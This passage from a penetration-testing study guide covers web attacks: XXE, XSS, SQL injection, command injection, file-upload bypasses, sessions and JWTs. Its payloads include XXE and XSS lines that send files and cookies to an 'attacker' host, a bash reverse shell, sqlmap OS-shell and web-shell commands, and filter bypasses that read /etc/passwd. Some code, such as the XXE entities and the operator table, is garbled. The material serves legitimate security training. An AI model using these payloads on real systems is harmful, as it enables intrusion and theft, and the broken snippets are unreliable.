- Identify hidden form fields (often disclose internal logic, e.g., a `<input type="hidden" name="role" value="user">`)
- Find dev comments left in the source
- Identify external scripts (potentially attackable third-party services)
- Construct payloads for injection (XSS payloads must escape HTML context correctly)
- Build CSRF proof-of-concept HTML
- Recognise framework templates (Blade, ERB, Razor markers in source can identify the underlying framework)

View source vs developer tools:

- Browser View Source shows the HTML as the server sent it
- Developer Tools (F12) inspector shows the live DOM after JavaScript has run
- The two often differ; both are worth examining

8.5.2 XML

XML is involved in:

- SOAP web services
- Configuration files
- Document formats (Office Open XML)
- Various data exchange formats

XXE (XML External Entity) injection: when an XML parser is configured to resolve external entities, attacker-controlled XML can:

- Read arbitrary files (`SYSTEM "file:///etc/passwd"`)
- Make outbound HTTP requests (SSRF)
- Cause DoS via “billion laughs” or external entity recursion

```
<?xml version="1.0"?>
<!DOCTYPE root [
  <ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
```

When the entity expansion would be reflected, this is straightforward. When not reflected, **out-of-band XXE** uses a parameter entity that triggers a DNS lookup or HTTP request:

```
<?xml version="1.0"?>
<!DOCTYPE root [
  <ENTITY % xxe SYSTEM "http://attacker/evil.dtd">
  %xxe;
]>
<root></root>
```

Where `evil.dtd` defines:

```
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!--> <!--> exfil SYSTEM 'http://attacker/?x=%file;'>">
%eval;
%exfil;
```

This makes the parser fetch `attacker/?x=<contents of /etc/passwd>`.

XXE detection and exploitation is also possible via XInclude, file uploads of XML-based formats (DOCX, XLSX, SVG), and SOAP requests.

8.6 Information Gathering from Errors (G6)

Verbose error messages disclose:

- Software versions (already covered in fingerprinting)
- Database errors leaking SQL syntax (revealing schema structure or even data)
- File paths (e.g., `/var/www/html/app/...` discloses the document root)

- User account details (different errors for “user not found” vs “wrong password” enable username enumeration)
- Stack traces revealing framework, version, source file paths, function names

Standard methodology to provoke errors:

```
# Send malformed input
curl "http://target/page.php?id='"          # SQL syntax error
curl "http://target/page.php?id=null"      # might trigger different code path
curl -X PUT "http://target/page.php"       # method may not be supported
curl "http://target/page.php?id[]=1"       # array instead of scalar (PHP)
curl "http://target/admin/"               # access control errors
```

Application-specific verbose errors:

- **PHP:** `display_errors=On` in production -> stack traces. Look for `Warning:`, `Fatal error:`, `Notice:` in responses.
- **ASP.NET:** `customErrors=Off + debug=true` -> .NET stack traces.
- **Django:** `DEBUG=True` -> rich diagnostic page with environment.
- **Flask:** `DEBUG=True` -> Werkzeug debugger (Python REPL in browser).
- **Java:** `printStackTrace()` calls reaching response.

8.7 Web Application Reconnaissance (G7)

The systematic mapping of an application’s attack surface.

8.7.1 Spidering

A spider (crawler) requests the application’s pages and follows links recursively, building a map of accessible URLs and parameters.

Burp Suite Spider (the modern equivalent is “Crawl” in Burp’s Scanner): right-click a target in Site Map -> Engagement Tools -> Crawl. Burp will follow links, submit forms with placeholder values, and build a complete site map.

OWASP ZAP - similar functionality.

Manual review of robots.txt and sitemap.xml:

```
curl http://target/robots.txt
> User-agent: *
> Disallow: /admin/
> Disallow: /backup/
> Disallow: /test/

curl http://target/sitemap.xml
```

The directories disallowed by robots.txt are often **exactly** what an attacker should investigate first - they are admin/backup/test areas the owner does not want indexed.

8.7.2 Forced Browsing / Directory Enumeration

Applications often have content not linked from the main site (admin paths, backup files, configuration files, deprecated pages). Brute-force enumeration with wordlists discovers these.

```
# ffuf - the fastest of the modern tools
ffuf -u http://target/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
ffuf -u http://target/FUZZ -w wordlist.txt -e .php,.html,.txt,.bak,.zip,.tar.gz
ffuf -u http://target/FUZZ -w wordlist.txt -mc 200,301,302,403 # match codes
ffuf -u http://target/FUZZ -w wordlist.txt -fc 404 # filter codes
ffuf -u http://target/FUZZ -w wordlist.txt -fs 1234 # filter size
ffuf -u http://target/FUZZ -w wordlist.txt -fw 7 # filter words

# Recursion
ffuf -u http://target/FUZZ -w wordlist.txt -recursion -recursion-depth 2

# feroxbuster - good alternative with built-in recursion
feroxbuster -u http://target/ -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
feroxbuster -u http://target/ -w wordlist.txt -d 3 -t 50

# gobuster
gobuster dir -u http://target/ -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
gobuster dir -u http://target/ -w wordlist.txt -s '200,204,301,302,307,401,403'

# dirb (older but reliable)
dirb http://target/ /usr/share/wordlists/dirb/common.txt
```

Wordlist selection matters more than tool choice. Recommended in order:

1. SecLists `Discovery/Web-Content/common.txt` - small, quick
2. SecLists `Discovery/Web-Content/raft-small-directories.txt`
3. SecLists `Discovery/Web-Content/raft-medium-directories.txt` and `raft-medium-files.txt`

4. SecLists `Discovery/Web-Content/raft-large-*` for thorough scans
5. Application-specific lists: `Discovery/Web-Content/CMS/wordpress.txt`, `tomcat.fuzz.txt`, etc.

8.7.3 Hidden Form Fields and Client-Side Comments

```
# Pull HTML and look for hidden inputs
curl -s http://target/page | grep -oP '<input[>]*type="hidden"[>]*>'

# Look for comments
curl -s http://target/page | grep -oP '<!--.*?-->'

# JavaScript with inline data
curl -s http://target/page | grep -oP 'var\s+\w+\s*=\s*[^\s;]+';
```

Burp Suite Engagement Tools -> Find Comments does this across an entire crawl.

Hidden fields commonly disclose:

- User roles (`<input type="hidden" name="role" value="user">`) - changeable to admin
- Pricing in e-commerce (`<input type="hidden" name="price" value="9.99">`) - changeable
- Original values for change tracking
- Anti-CSRF tokens (these you DON'T modify)

8.7.4 Client-Side Code Review

JavaScript files often contain:

- API endpoints not linked from any HTML
- API keys (publishable vs secret)
- Internal hostnames
- Comments referring to admin functions
- Logic that, when reverse-engineered, reveals authentication flows

Methodology:

```
# Pull all JS referenced from a page
curl -s http://target/page | grep -oP 'src="[^"]+\.(js|css)"'

# Or use Burp's "Engagement Tools -> Find Scripts"

# Once downloaded, search for interesting patterns:
grep -E "api[_-]?key|secret|token|password" *.js
grep -oE "https?://[a-zA-Z0-9\.\-_/?=&]+" *.js | sort -u      # all URLs referenced
grep -oE "/api/[a-zA-Z0-9_]+" *.js | sort -u                # API paths
```

8.7.5 Auth-Required Areas Visible to Anonymous Users

A common finding: an application's JavaScript references admin endpoints, but the HTML rendering hides them from non-admin users. The endpoints themselves are not access-controlled - the UI just does not show them. An attacker who reads the JS finds the endpoints and accesses them directly.

This is “horizontal” or “vertical” privilege escalation depending on whether the access is to peer or higher-privilege functionality. Always:

1. Identify all roles in the application
2. Capture sessions for each role
3. Compare which endpoints each role's JS references
4. Test the higher-role endpoints from lower-role sessions

8.8 Input Validation (G10)

The single most fundamental web application security concept. Most web vulnerabilities trace back to inadequate input validation.

8.8.1 Allow-list vs Deny-list vs Sanitisation

Allow-list (whitelist) validation rejects anything not matching expected format:

```
# Username must be alphanumeric, 3-20 chars
if not re.match(r'^[a-zA-Z0-9]{3,20}$', username):
    raise ValidationError("Invalid username")
```

Deny-list (blacklist) validation rejects known-bad input:

```
# REJECT < and > to prevent XSS - INSECURE
if '<' in input or '>' in input:
    raise ValidationError("Invalid input")
# Bypass: use HTML entities, &lt; and &gt;, or other vectors
```

Deny-list is fundamentally weaker because attackers find new vectors the developer did not think to ban.

Sanitisation modifies input to make it safe:

```
# Escape < and > to entities
input = input.replace('<', '&lt;').replace('>', '&gt;')
```

Each approach has its place but **allow-list validation is preferred for value-bearing inputs** (numbers, IDs, enumerated options) and **context-aware encoding is preferred for string content that must be displayed** (HTML escaping for HTML, URL encoding for URLs, JSON escaping for JSON, etc.).

8.8.2 Server-Side vs Client-Side

Client-side validation (JavaScript in the browser) is for user experience only. It can never be relied on for security because the attacker can:

- Disable JavaScript
- Modify JavaScript (Burp Repeater, browser dev tools)
- Submit requests directly without ever loading the page

Server-side validation is the only real validation. Test by:

- Capturing a legitimate request in Burp
- Modifying the parameter to violate the supposed constraint
- Replaying

If the request succeeds, server-side validation is missing.

8.9 Web Authentication (G8)

Authentication is the verification that a claimed identity is genuine. The major mechanisms encountered on the CRT:

8.9.1 HTML Form Authentication

The dominant pattern. Browser POSTs username and password (and sometimes additional fields) to an authentication endpoint; server verifies and issues a session.

Test for:

- Cleartext transmission (HTTP rather than HTTPS) - capture credentials
- Lockout policy: try 100 wrong passwords - is the account locked? At what threshold?
- Rate limiting: are repeated failed logins slowed down?
- Username enumeration via different responses for valid vs invalid users
- Username enumeration via timing differences (valid user takes longer because password hash is computed)
- “Remember me” tokens - are they secure (random) or weak (encrypted username)?
- Password reset flow (covered separately)

8.9.2 HTTP Basic and Digest

Basic Auth: client sends `Authorization: Basic <base64(user:pass)>` header. Trivially decodable. Should never be used over HTTP.

Digest Auth: client sends a nonce-based hash. More complex than Basic; rarely used today.

8.9.3 Kerberos (Negotiate)

Used in AD-integrated web applications via SPNEGO. The client (browser) automatically negotiates Kerberos when the server returns `WWW-Authenticate: Negotiate`. Tricky to test from a Linux test machine without configuring Kerberos.

8.9.4 NTLM

Used by IIS for Windows-integrated authentication. The client sends `Authorization: NTLM <data>`. Burp Suite supports NTLM via project settings -> Connections -> Platform Authentication.

NTLM hash captures from web responses can be used like any other NTLM material - cracking, relay, etc.

8.9.5 OpenID Connect

OAuth 2.0-based protocol. The application redirects users to an Identity Provider (Google, Microsoft, etc.) for login; the IdP returns a token the application validates.

Common flaws:

- Insecure validation of `state` parameter (CSRF on the auth flow)
- Accepting tokens for different audiences (`aud` claim not validated)
- Open redirects in the OAuth flow
- Token leak via referer headers

8.9.6 SAML

Older federated authentication using XML assertions. Common flaws:

- XML signature wrapping attacks
- Comment-based attribute injection
- Replay attacks if assertions not properly time-bound

8.9.7 Authentication Vulnerability Catalogue

The vulnerabilities to test for:

Username enumeration:

```
# Valid user, wrong password
$ curl -d "user=admin&pass=wrong" http://target/login
> "Invalid password"

# Invalid user
$ curl -d "user=nobody&pass=wrong" http://target/login
> "Invalid username"
```

The differing responses are the leak. Production should respond with a generic message regardless.

Brute force resistance:

```
# Hydra
hydra -L users.txt -P passwords.txt 10.10.10.50 http-post-form \
"/login.php:user=^USER^&pass=^PASS^:F=Invalid"

# Burp Intruder is the standard
```

Auth bypass via parameter manipulation:

- `admin=true` parameter injection in cookie or POST
- `role=admin` in JSON body
- `X-Original-URL: /admin` HTTP header (for some reverse proxy bypasses)

Insecure password reset:

- Predictable tokens (sequential, time-based without enough entropy)
- Tokens that do not expire
- Tokens reused across users
- Tokens leaked via Host header injection (reset email contains a link with attacker's host)
- No rate limit on requesting resets (DoS or legitimate-user harassment)
- Reset confirmation does not require old password

Weak logout/timeout:

- Session not invalidated server-side on logout
- Session expires on browser close only (no server timeout)
- Concurrent session not invalidated when password changed

Weak CAPTCHA:

- CAPTCHA not validated server-side (just shown for UX)
- CAPTCHA token reusable
- CAPTCHA easily defeated by OCR

Race conditions:

- TOCTOU on auth (parallel requests bypass single-use limits)
- Account creation with same username via parallel requests
- Multi-factor “remember device” race conditions

Lack of MFA:

- Single-factor for admin accounts
- MFA bypass via “remember this device” cookie predictability

- Backup code reuse

8.10 Web Authorisation (G9)

Authorisation is the verification that an authenticated user can perform a specific action. Classic flaw classes:

8.10.1 Insecure Direct Object Reference (IDOR)

The application identifies a resource via a parameter that is directly under the user's control, and trusts the user not to access resources they shouldn't.

```
GET /account/profile?user_id=1234
```

If the application returns user 1234's profile regardless of which user is logged in, you have IDOR. Test by changing the parameter:

```
GET /account/profile?user_id=1235
GET /account/profile?user_id=1
GET /account/profile?user_id=admin
```

Variations:

- Numeric IDs (try ± 1 , large numbers, 0, negative)
- UUIDs (sometimes guessable; sometimes leaked elsewhere)
- Filenames (`/document.php?file=invoice_1234.pdf` -> try other invoice numbers)
- Email addresses as keys

The mitigation is always: server-side check that the authenticated user owns or is permitted to access the requested resource.

8.10.2 Vertical Privilege Escalation

Lower-privilege user accessing higher-privilege functionality. Test by:

1. Authenticate as admin; identify all admin endpoints
2. Authenticate as a regular user
3. Send requests to the admin endpoints with the regular user's session
4. If they succeed, vertical privilege escalation

```
# As admin, discover endpoints (e.g., /admin/users, /admin/delete-user, /admin/grant-role)
# As regular user (different session cookie):
curl -b "session=user_session_token" http://target/admin/users
> 200 OK with user list # vulnerability confirmed
```

8.10.3 Horizontal Privilege Escalation

Same-level user accessing peer's data. Often the same as IDOR.

8.10.4 Forced Browsing to Restricted Pages

Sometimes the only "access control" is that the navigation does not show the link. Forced browsing (covered earlier) reveals the URL; visiting it directly may grant access.

8.10.5 Mass Assignment / Parameter Tampering

Frameworks that automatically map request parameters to model attributes (Ruby on Rails, ASP.NET MVC) are vulnerable to mass assignment when developers do not specify which fields are user-mappable:

```
POST /account/update
name=Alice&email=alice@example.com&is_admin=true
```

If the User model accepts `is_admin` as a mappable attribute, the user just made themselves admin.

8.11 Cross-Site Scripting (G11)

XSS is the injection of attacker-controlled JavaScript into the victim's browser session. Three classic types:

8.11.1 Reflected XSS

Attacker-controlled input is reflected immediately in the response. Triggered by enticing the victim to visit a crafted URL.

```
http://target/search?q=<script>alert(1)</script>

# In the response:
<h1>Search results for: <script>alert(1)</script></h1>
```

Testing:

```
# Probe with simple payload
curl "http://target/search?q=test123"
# Look for "test123" in the response, then test with HTML/JS

curl "http://target/search?q=<script>alert(1)</script>"
# Look for the script tag in the response
```

8.11.2 Stored XSS

Attacker input is stored on the server (in a database, file, etc.) and rendered later when other users view the affected page. More dangerous than reflected because no user interaction beyond visiting a page is needed.

Common stored XSS targets:

- Comment fields
- User profile fields (name, bio, signature)
- Forum posts
- Customer support tickets
- File metadata (uploaded filenames, EXIF in images)
- Log viewers (logged values reflect into admin panels)

8.11.3 DOM-Based XSS

The malicious payload is processed entirely in the client's browser via JavaScript. The server never sees the payload. Common pattern:

```
// Vulnerable code
var name = document.location.hash.substr(1);
document.getElementById("greeting").innerHTML = "Hello " + name;

// Triggered by URL:
http://target/page#<img src=x onerror=alert(1)>
```

Sources of attacker-controlled data in the DOM:

- `document.location` (hash, search, pathname)
- `document.cookie`
- `document.referrer`
- `localStorage`, `sessionStorage`
- `postMessage` data

Sinks where data ends up causing execution:

- `eval()`
- `innerHTML`, `outerHTML`, `document.write`
- `setTimeout(string, ...)`, `setInterval(string, ...)`
- `Function(string)`
- `element.src` for some elements (script, iframe with javascript:)
- `location.href = userdata`

8.11.4 XSS Payload Library

```

<!-- Basic detection -->
<script>alert(1)</script>
<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<iframe src="javascript:alert(1)">
<input autofocus onfocus=alert(1)>
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>

<!-- Tag/attribute filter bypasses -->
<ScRiPt>alert(1)</sCripT>
<script>al\u0005rt(1)</script>
<img src=x onerror="alert(1)">
<img src=x onerror=&#97;lert(1)>
<iframe srcdoc="<script>alert(1)</script>">

<!-- Single-quote-only context -->
'-alert(1) - '
'+alert(1)+'

<!-- Out of attribute -->
" autofocus onfocus=alert(1) x="
" onmouseover="alert(1)
" onclick="alert(1)" "

<!-- Filter bypass via no quotes -->
<svg onload=alert`1`>
<svg onload=alert(/1/)>

<!-- Cookie theft (the classic exfiltration) -->
<script>new Image().src='http://attacker/?c='+document.cookie</script>
<script>fetch('http://attacker/?c='+document.cookie)</script>

<!-- Silent CSRF token exfiltration -->
<script>
fetch('/admin/users', {credentials:'include'}).then(r=>r.text()).then(t=>{
  fetch('http://attacker/?d='+encodeURIComponent(t));
});
</script>

<!-- Event handlers that work in restricted contexts -->
" onpointerover=alert(1) "
" onfocusin=alert(1) tabindex=1 "

<!-- HTML entity bypass for very strict deny-lists -->
<a href="javascript:alert(1)">click</a>
<a href="javasc&Tab;ript:alert(1)">click</a>
<a href="java&NewLine;script:alert(1)">click</a>

<!-- DOM clobbering for prototype pollution chains -->
<form id="config"><input name="apikey" value="evil"></form>

<!-- Polyglot - works in many contexts -->
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+"/`+/onmouseover=1/+/[*/[]/+alert(42);//'+>

```

8.11.5 XSS Impact

A successful XSS allows the attacker to:

- Read and exfiltrate cookies (unless `HttpOnly` is set)
- Make authenticated requests on behalf of the victim
- Read the contents of pages the victim has access to
- Modify the displayed page (phishing within the trusted domain)
- Capture keystrokes (keylogger)
- Bypass CSRF protections (since the XSS is same-origin and can read CSRF tokens)
- Execute arbitrary actions in the victim's session

The cookie-stealing example is the classic for demonstration but understates the impact - even with `HttpOnly` cookies, an XSS can perform any action the victim could perform.

8.12 Cookies and Sessions (G12, G13)

8.12.1 Cookie Attributes

Attribute	Purpose
Secure	Cookie sent only over HTTPS
HttpOnly	Cookie not accessible to JavaScript (<code>document.cookie</code>)
SameSite=Strict	Cookie not sent on cross-site requests at all
SameSite=Lax	Cookie sent on cross-site GET (default for most modern browsers)
SameSite=None	Cookie sent on all cross-site requests (requires Secure)
Path	Cookie sent only to URLs under this path
Domain	Cookie sent to this domain and subdomains
Expires / Max-Age	Cookie persistence duration

Findings checklist:

- Session cookie without `Secure` and HTTPS in use: cookie can leak over HTTP
- Session cookie without `HttpOnly`: XSS can steal session
- Session cookie with `SameSite=None` but no anti-CSRF token: CSRF vulnerable
- Session cookie's `Domain` set too broadly: leaks to subdomains
- Authentication cookie persists past logout

8.12.2 Session Management

A session is a server-side state associated with a session identifier given to the client. Two implementations:

Server-side sessions: server stores state in a database/cache; client holds only a random session ID.

Client-side sessions: state encoded into a token (e.g., JWT) and signed/encrypted by the server. No server storage needed.

8.12.3 Session ID Vulnerabilities

Predictable session IDs: if IDs are sequential, time-based with low entropy, or derived from user data, they can be guessed.

```
# Burp Sequencer analyses session ID entropy
# Capture 200+ session IDs by repeatedly logging in
# Sequencer reports bit-level entropy and randomness
```

Session fixation: server accepts a session ID provided by the client (rather than generating one). Attacker forces victim's session ID, then uses the same ID after victim logs in.

Session ID in URL: if URLs contain `?session=xyz`, the ID leaks via:

- Browser history
- Logs (web server, proxy, CDN)
- Referer header (when navigating to an external site)
- Screen sharing / shoulder surfing

8.12.4 JSON Web Tokens (JWT)

Increasingly common as session/auth tokens. Three base64url-encoded parts separated by dots:

```
<header>.<payload>.<signature>
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoIYWRTaW4iLCJyb2xlIjoiaXNlciJ9.dBjftJeZ4CVP-mB92K27uhbUJU1p1r_wWlgFWFOEjXk
```

Common JWT vulnerabilities:

- **alg: none** acceptance: server verifies signature only if `alg` is HMAC/RSA. Setting `alg: none` and removing the signature should be rejected; if accepted, anyone can forge tokens.
- **Algorithm confusion** (HS256 vs RS256): server checks signature with the public key as HMAC secret. If the attacker can obtain the public key, they can sign tokens with HS256 using the public key as the HMAC secret.
- **Weak HMAC secret:** HS256 with `secret123` -> crackable offline.

```
# Crack JWT HMAC secret with hashcat (mode 16500)
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt

# Or with john
john --format=HMAC-SHA256 jwt.txt --wordlist=rockyou.txt
```

`jwt_tool` is the standard CLI for testing JWTs:


```

jwt_tool <token>                                # decode and analyse
jwt_tool <token> -X a                             # try alg:none
jwt_tool <token> -X k -pk public.pem              # algorithm confusion
jwt_tool <token> -C -d wordlist.txt               # crack HMAC

```

8.12.5 Session Hijacking

Once a session ID is captured (via XSS, network sniffing, log access, etc.), the attacker uses it directly. Most applications do not bind sessions to IP addresses or User-Agent strings, so hijacking is straightforward:

```
curl -b "session=stolen_session_token" http://target/admin/
```

8.13 Cross-Site Request Forgery (CSRF)

CSRF tricks an authenticated user into performing an action via a third-party site that issues a request to the target application using the user's existing session.

```

<!-- attacker's site -->
<form action="http://target/transfer-money" method="POST">
  <input type="hidden" name="to_account" value="attacker_account">
  <input type="hidden" name="amount" value="10000">
</form>
<script>document.forms[0].submit();</script>

```

When a logged-in target user visits this page, the browser includes their session cookie with the POST. The transfer goes through.

Defences:

- **Anti-CSRF tokens:** random per-session or per-request value the legitimate form includes; the server verifies. Attackers cannot include the token because they cannot read the legitimate form (same-origin policy).
- **SameSite cookies:** `SameSite=Strict` prevents the cookie being sent on cross-site requests at all.
- **Custom request headers:** requiring `X-Requested-With: XMLHttpRequest` (which simple cross-site forms cannot send without CORS preflight).
- **Origin / Referer validation:** server checks `Origin` or `Referer` headers.

Test for CSRF by:

1. Capture a state-changing request in Burp
2. Send to Repeater
3. Remove the anti-CSRF token (or modify it)
4. Replay - if it succeeds, no proper CSRF protection
5. Burp's "Generate CSRF PoC" feature (Engagement Tools) creates a self-submitting HTML for the captured request

8.14 SQL Injection (G14)

The single most consequential web application vulnerability. SQL injection occurs when user input is concatenated into a SQL query rather than being passed as a parameter.

8.14.1 Detection

Classic detection probes:

```

'           -- single quote
"           -- double quote (less common)
'--         -- single quote + comment
') --       -- closing parenthesis
'#          -- single quote + MySQL comment
admin' OR '1'='1    -- classic boolean bypass
admin' OR 1=1--     -- with comment
admin' OR 1=1#      -- MySQL
admin' OR 1=1/*     -- alternate comment
1' AND 1=1--        -- baseline (true)
1' AND 1=2--        -- comparison (false)

```

For each input field, send several probes and observe response differences.

8.14.2 Boolean-Based Detection

```

?id=1          -> normal page
?id=1' AND 1=1-- -> normal page (true condition)
?id=1' AND 1=2-- -> page differs (false condition; row not returned)

```

If `1=1` returns one response and `1=2` returns a different one, the query is vulnerable.

8.14.3 Time-Based Detection

When the response is identical regardless of the query result (no error, no content difference), use a delay:

```
-- MySQL
?id=1' AND SLEEP(5)--

-- PostgreSQL
?id=1' AND pg_sleep(5)--

-- MSSQL
?id=1'; WAITFOR DELAY '0:0:5'--

-- Oracle
?id=1' AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)='1
```

If the response takes 5+ seconds, you have time-based blind SQLi.

8.14.4 Error-Based Extraction

When the database returns errors, you can extract data via crafted errors:

```
-- MySQL ExtractValue
?id=1' AND extractvalue(1,concat(0x7e,(SELECT version())))--

-- MSSQL convert error
?id=1' AND 1=convert(int,(SELECT @@version))--
```

8.14.5 UNION-Based Extraction

Once you know the query is vulnerable and returns data, UNION SELECT allows extraction:

```
-- Step 1: determine column count
?id=1' ORDER BY 1--      -- success
?id=1' ORDER BY 2--      -- success
?id=1' ORDER BY 3--      -- success
?id=1' ORDER BY 4--      -- error: column count is 3

-- Step 2: identify which columns reflect strings
?id=1' UNION SELECT 'a','b','c'--      -- some will appear in output

-- Step 3: extract data
?id=1' UNION SELECT null,@@version,null--

-- Step 4: enumerate schema
?id=1' UNION SELECT null,table_name,null FROM information_schema.tables--
?id=1' UNION SELECT null,column_name,null FROM information_schema.columns WHERE table_name='users'--
?id=1' UNION SELECT null,concat(username,':',password),null FROM users--
```

8.14.6 Stacked Queries

Some database/driver combinations allow multiple statements separated by semicolons:

```
?id=1; INSERT INTO admin VALUES('me','password')--
?id=1; UPDATE users SET role='admin' WHERE name='me'--
?id=1; DROP TABLE logs--
```

MySQL via PHP `mysql_query` does not support stacked queries; PHP `mysqli_multi_query` does. PostgreSQL supports them. MSSQL supports them.

8.14.7 Database Fingerprinting

Identify the back-end DB by its specific syntax:

Test	Returns...	DB
<code>SELECT @@version</code>	"10.5.13-MariaDB" or "8.0.26"	MySQL/MariaDB
<code>SELECT @@version</code>	"Microsoft SQL Server 2019"	MSSQL
<code>SELECT version()</code>	"PostgreSQL 13.4"	PostgreSQL
<code>SELECT banner FROM v\$version</code>	"Oracle Database 19c"	Oracle
<code>SELECT sqlite_version()</code>	"3.36.0"	SQLite
Error contains "ORA-"		Oracle
Error contains "Microsoft OLE DB" or "ODBC SQL Server"		MSSQL
Error contains "MySQL" or "you have an error in your SQL syntax"		MySQL

8.14.8 sqlmap

The standard automated SQLi tool. It performs all the detection techniques above, automatically identifies vulnerable parameters, and extracts data:

```
# Basic GET parameter
sqlmap -u "http://target/page.php?id=1" --batch

# All parameters in URL
sqlmap -u "http://target/page.php?id=1&category=2" --batch

# POST data
sqlmap -u "http://target/login.php" --data "user=admin&pass=test" --batch

# Cookie injection
sqlmap -u "http://target/" --cookie "session=abc; pref=def" --level=2

# Header injection
sqlmap -u "http://target/" --header "User-Agent: *"

# From a saved Burp request
sqlmap -r request.txt --batch

# Increase aggressiveness
sqlmap -u "..." --level 5 --risk 3 --batch

# Enumeration
sqlmap -u "..." --batch --dbs # list databases
sqlmap -u "..." --batch -D dbname --tables # tables in database
sqlmap -u "..." --batch -D dbname -T users --columns
sqlmap -u "..." --batch -D dbname -T users --dump

# OS shell (when DB allows)
sqlmap -u "..." --batch --os-shell
sqlmap -u "..." --batch --os-pwn

# Read file
sqlmap -u "..." --batch --file-read=/etc/passwd

# Write file
sqlmap -u "..." --batch --file-write=local.php --file-dest=/var/www/html/shell.php
```

The `--batch` flag accepts default answers; useful when running unattended.

8.14.9 Defences

For completeness (and because finding/explaining the absence of a defence is a finding):

- **Parameterised queries** (also called prepared statements): the query is sent to the DB with placeholders; the data is sent separately. The DB never confuses data with code.
- **ORM frameworks** (SQLAlchemy, Hibernate, Entity Framework) - generally use parameterised queries internally. Misuse is still possible (raw query interfaces, certain ORM features).
- **Stored procedures** with parameterised execution - similar to parameterised queries.
- **Input validation** (whitelist) - belt-and-braces in addition to parameterised queries.
- **Least privilege DB account** - the application's DB user should not have DBA privileges, should not be able to execute system commands, should not have access to other databases on the same server. Limits damage when SQLi happens.
- **WAF** - signature-based detection. Not a primary defence (bypassable), but defence in depth.

I will continue with the remaining web topics in the next chunk.

Part 8 (continued): Web Technologies - Remaining Topics

8.15 Mail Injection (G15)

8.15.1 SMTP Injection

When user input is incorporated into SMTP commands without proper encoding, an attacker can inject additional SMTP commands. Classic vector: a “Contact Us” form that sends email.

```
# Vulnerable code - PHP-style
mail($to, $subject, $body, "From: " . $_POST['email']);
```

If the user submits `attacker@evil.com\r\nBcc: victim1@target.com,victim2@target.com\r\nSubject: Spam`, the resulting email headers contain attacker-controlled `Bcc` and the application becomes a spam relay.

Test by injecting CRLF (`\r\n` or `%0D%0A`) followed by additional headers:

```
email=attacker%40evil.com%0D%0ABcc%3A+victim%40target.com
```

8.15.2 IMAP Injection

When the application uses IMAP (e.g., to display the user’s mailbox) and lets the user choose which folder, mailbox commands can be injected:

```
folder=INBOX" RFC822" "
```

This breaks out of the folder name into arbitrary IMAP commands. Less commonly encountered than SMTP injection.

8.16 OS Command Injection (G16)

When the application passes user input to a shell, the user can inject additional commands. The classic example: a web interface to ping a host.

```
// Vulnerable
$ip = $_GET['ip'];
system("ping -c 1 " . $ip);
```

If the user submits `?ip=8.8.8.8; id`, the shell sees `ping -c 1 8.8.8.8; id` and executes both commands.

8.16.1 Injection Operators

The shell operators that allow chaining commands:

Operator	Behaviour
<code>;</code>	Run both commands sequentially
<code>&&</code>	Run second only if first succeeds
<code>&&&</code>	Run second only if first fails
<code>&</code>	Run both in background (Linux); separator (Windows)
<code> </code>	Pipe stdout of first into stdin of second
<code>`</code> <code>``</code> <code>```</code> Command substitution: backtick-enclosed runs first <code>\$(...)</code> Command substitution: <code>\$(...)</code> runs first <code>%0a</code> URL-encoded newline (line break in shell input) <code>%0d%0a`</code>	URL-encoded CRLF

8.16.2 Detection

```
# Test for command execution
?ip=8.8.8.8; id
?ip=8.8.8.8|id
?ip=8.8.8.8 `id`
?ip=8.8.8.8$(id)

# Time-based blind detection (if no output reflected)
?ip=8.8.8.8;sleep 5
?ip=8.8.8.8|sleep 5
?ip=8.8.8.8&&sleep 5

# Out-of-band detection
?ip=8.8.8.8 curl http://attacker/${whoami}
?ip=8.8.8.8 nslookup ${whoami}.attacker.com
```

8.16.3 Filter Bypasses

When obvious operators are blocked, alternatives exist:

```
# Whitespace bypass (when spaces are blocked)
{cat,/etc/passwd}          # brace expansion
cat${IFS}/etc/passwd       # IFS variable
cat${IFS}etc/passwd

# Quoting around command name
c"a\t /etc/passwd
c'a\t /etc/passwd
\c\a\t /etc/passwd

# Variable expansion
${echo cat} /etc/passwd
${printf 'cat'}

# Base64
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | sh

# Without slashes (when filter blocks /)
cat${IFS}etc${IFS}passwd # if cwd is /
```

8.16.4 The Reverse Shell Pattern

The end-goal of command injection is usually a reverse shell:

```
# Linux bash reverse shell
?ip=8.8.8.8;bash -i >& /dev/tcp/10.10.14.5/4444 0>&1

# URL-encoded version (when needed)
?ip=8.8.8.8%3Bbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.5%2F4444%200%3E%261

# Listener on attacker side
nc -lvnp 4444
```

8.16.5 commix

Automated command injection tool, conceptually similar to sqlmap:

```
commix -u "http://target/page.php?ip=8.8.8.8" --batch
commix --url "http://target/page.php" --data "ip=8.8.8.8" --batch
commix -r request.txt --batch
commix -u "." --os-cmd="id" # run a specific command
commix -u "." --os-shell # interactive shell
```

8.17 File Uploads (G19)

File upload functionality is high-value: a successful upload of a server-side script (PHP, JSP, ASPX) to a writable directory served by the web server gives RCE.

8.17.1 Common Validations and Bypasses

Extension blacklist: `.php` blocked.

Bypasses: - Alternative extensions: `.php5`, `.php7`, `.phtml`, `.phar`, `.pht` - Case variations: `.PHP`, `.pHp` - Double extension: `shell.php.jpg` (if Apache `AddHandler` or `AddType` interprets `.php` extension regardless of position) - Null byte: `shell.php%00.jpg` (PHP < 5.3 truncated) - Trailing characters: `shell.php.`, `shell.php`, `shell.php/`

Extension whitelist: only `.jpg`, `.png`, `.gif` allowed.

Bypasses: - Double extension as above - Polyglot: a file that is both a valid image AND valid PHP - `.htaccess` upload (Apache): contains `AddType application/x-httpd-php .jpg` -> all subsequent jpgs are PHP - `.user.ini` upload (PHP, since 5.3): can change PHP config per-

directory

Content-Type validation: HTTP `Content-Type: image/jpeg` required.

Bypass: just modify the header in Burp Repeater. Easy.

Magic byte validation: file must start with image magic bytes.

Bypass: prepend the magic bytes to a PHP file.

